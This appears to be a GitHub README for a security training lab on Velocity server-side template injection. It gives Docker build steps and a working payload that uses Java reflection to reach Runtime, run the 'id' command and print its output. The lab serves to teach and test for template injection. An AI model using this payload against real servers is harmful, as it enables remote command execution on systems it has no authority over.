Skip to content

Latest commit

 

History

History

05_template_velocity

Template Injection Velocity

Build instructions

Requirements:

  • Docker
  • Docker-compose
  • Java 8+
./gradlew build
docker-compose up

Template Injection

#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##

#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end